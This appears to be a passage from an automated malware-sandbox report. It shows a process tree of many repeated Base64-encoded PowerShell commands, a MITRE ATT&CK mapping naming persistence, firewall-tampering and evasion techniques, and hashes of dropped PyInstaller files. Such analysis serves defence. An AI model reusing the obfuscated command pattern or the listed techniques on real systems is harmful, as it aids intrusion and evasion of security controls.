        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3992
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4872
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1000
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4900
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2520
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3068
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2352
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
        3⤵
          PID:4896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
          3⤵
            PID:1428
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
            3⤵
              PID:3272
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
              3⤵
                PID:3360
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
                3⤵
                  PID:3960
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
                  3⤵
                    PID:4344
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
                    3⤵
                      PID:4824
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
                      3⤵
                        PID:4968
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
                        3⤵
                          PID:1804
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -encodedcommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAZQBsAGUAYwB0ACAATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUALABQAHIAbwBjAGUAcwBzAE4AYQBtAGUALABJAGQAIAB8ACAAdwBoAGUAcgBlAHsAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAGUAcQAgACIAIgB9ACAA
                          3⤵
                            PID:3064

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            2
                            T1059

                            PowerShell

                            1
                            T1059.001

                            Windows Command Shell

                            1
                            T1059.003

                            Persistence

                            Create or Modify System Process

                            1
                            T1543

                            Windows Service

                            1
                            T1543.003

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Privilege Escalation

                            Create or Modify System Process

                            1
                            T1543

                            Windows Service

                            1
                            T1543.003

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Defense Evasion

                            Debugger Evasion

                            1
                            T1622

                            Hide Artifacts

                            1
                            T1564

                            Hidden Files and Directories

                            1
                            T1564.001

                            Impair Defenses

                            1
                            T1562

                            Disable or Modify System Firewall

                            1
                            T1562.004

                            Obfuscated Files or Information

                            1
                            T1027

                            Command Obfuscation

                            1
                            T1027.010

                            Credential Access

                            Discovery

                            Debugger Evasion

                            1
                            T1622

                            Query Registry

                            1
                            T1012

                            System Information Discovery

                            2
                            T1082

                            System Location Discovery

                            1
                            T1614

                            System Language Discovery

                            1
                            T1614.001

                            System Network Configuration Discovery

                            1
                            T1016

                            Lateral Movement

                            Collection

                            Command and Control

                            Web Service

                            1
                            T1102

                            Exfiltration

                            Impact

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            powershell.exe.log
                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                            • Size 2KB
                            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 944B
                            • SHA256 b6e1a16a11075cb4e0bae0cebdb6ac15f5d66e0005f557703708a04cd11bd360
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 944B
                            • SHA256 17c7b3c895766071a0d87318ec4134a9032ed113b46d3ba75889819a61a9cc19
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 944B
                            • SHA256 12e3a5b5c7c4a6413db7942cce81a197551aa09678919a4713f3f1c0810e77f9
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 944B
                            • SHA256 17107fc01623db2c028aa7e666e462b5dbbcaf7245329c3089080560607ea368
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 944B
                            • SHA256 7584152ef93be4dc497db509c723f20a1fd09d69df02d62c897eefda6bf4c737
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 192B
                            • SHA256 6ad557d6c6e720ca90c1c1d7b1916586e08bfffea911c829714f3a43a648ceee
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 400B
                            • SHA256 0c8ef6e5e8fee9cf64630791fb16f01089848a1b0e09101de1bb7a3c71d15568
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 944B
                            • SHA256 f7308f111e3910da5c34c4d06d78d692f44419f848f5bf886fd466d5a96ad014
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 944B
                            • SHA256 57985180b9dcdca9fa36411361d58f85723031e46e8b83c7ce2882bac338932c
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 1KB
                            • SHA256 be850739338cf4f5bc3ad7da34eaa570c9dfa8c65ad7288feab153aa44a1d46e
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 b08f42660b8756f7b9c1be250caa4cb0a50987d4fa2d8cd5d628df414658acad
                            • MD5 SHA1 SHA512
                            Submit Download

                            StartupProfileData-NonInteractive
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 64B
                            • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
                            • MD5 SHA1 SHA512
                            Submit Download

                            VCRUNTIME140.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\VCRUNTIME140.dll
                            • Size 94KB
                            • SHA256 e1d6f78a72836ea120bd27a33ae89cbdc3f3ca7d9d0231aaa3aac91996d2fa4e
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _bz2.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\_bz2.pyd
                            • Size 78KB
                            • SHA256 4c2649dc69a8874b91646723aacb84c565efeaa4277c46392055bca9a10497a8
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _ctypes.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\_ctypes.pyd
                            • Size 117KB
                            • SHA256 35cdd122679041ebef264de5626b7805f3f66c8ae6cc451b8bc520be647fa007
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _hashlib.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\_hashlib.pyd
                            • Size 57KB
                            • SHA256 50daeb3985302a8d85ce8167b0bf08b9da43e7d51ceae50e8e1cdfb0edf218c6
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _lzma.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\_lzma.pyd
                            • Size 149KB
                            • SHA256 f125a885c10e1be4b12d988d6c19128890e7add75baa935fe1354721aa2dea3e
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _queue.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\_queue.pyd
                            • Size 26KB
                            • SHA256 9ecec72c5fe3c83c122043cad8ceb80d239d99d03b8ea665490bbced183ce42a
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _socket.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\_socket.pyd
                            • Size 72KB
                            • SHA256 3669e56e99ae3a944fbe7845f0be05aea96a603717e883d56a27dc356f8c2f2c
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _ssl.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\_ssl.pyd
                            • Size 152KB
                            • SHA256 bf63f44951f14c9d0c890415d013276498d6d59e53811bbe2fa16825710bea14
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _uuid.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\_uuid.pyd
                            • Size 20KB
                            • SHA256 c74aaeec487457139b47c0ab56e01922bfae6debef562800e5b9b6baf1ec9d6a
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            base_library.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\base_library.zip
                            • Size 794KB
                            • SHA256 3279edef6878a786596c45648492186ed28878e64083601909833dde93730262
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libcrypto-1_1.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\libcrypto-1_1.dll
                            • Size 3.3MB
                            • SHA256 664c3e52f914e351bb8a66ce2465ee0d40acab1d2a6b3167ae6acf6f1d1724d2
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libffi-7.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\libffi-7.dll
                            • Size 32KB
                            • SHA256 f60dd9f2fcbd495674dfc1555effb710eb081fc7d4cae5fa58c438ab50405081
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            libssl-1_1.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\libssl-1_1.dll
                            • Size 678KB
                            • SHA256 b7c0e42c1a60a2a062b899c8d4ebd0c50ef956177ba21785ce07c517c143aeaf
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            _psutil_windows.cp310-win_amd64.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\psutil\_psutil_windows.cp310-win_amd64.pyd
                            • Size 75KB
                            • SHA256 4dd8f75b2022a0d78a252bc5f6cf59ad2ec5ab095a66ef539ef6f23fda4fa9f8
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            python310.dll
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\python310.dll
                            • Size 4.2MB
                            • SHA256 f281c2e252ed59dd96726dbb2de529a2b07b818e9cc3799d1ffa9883e3028ed8
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            select.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\select.pyd
                            • Size 25KB
                            • SHA256 f1694ce82da997faa89a9d22d469bfc94abb0f2063a69ec9b953bc085c2cb823
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            unicodedata.pyd
                            • Path C:\Users\Admin\AppData\Local\Temp\_MEI43562\unicodedata.pyd
                            • Size 1.1MB
                            • SHA256 9b22d93f4db077a70a1d85ffc503980903f1a88e262068dd79c6190ec7a31b08
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            __PSScriptPolicyTest_who2di0g.ran.ps1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_who2di0g.ran.ps1
                            • Size 60B
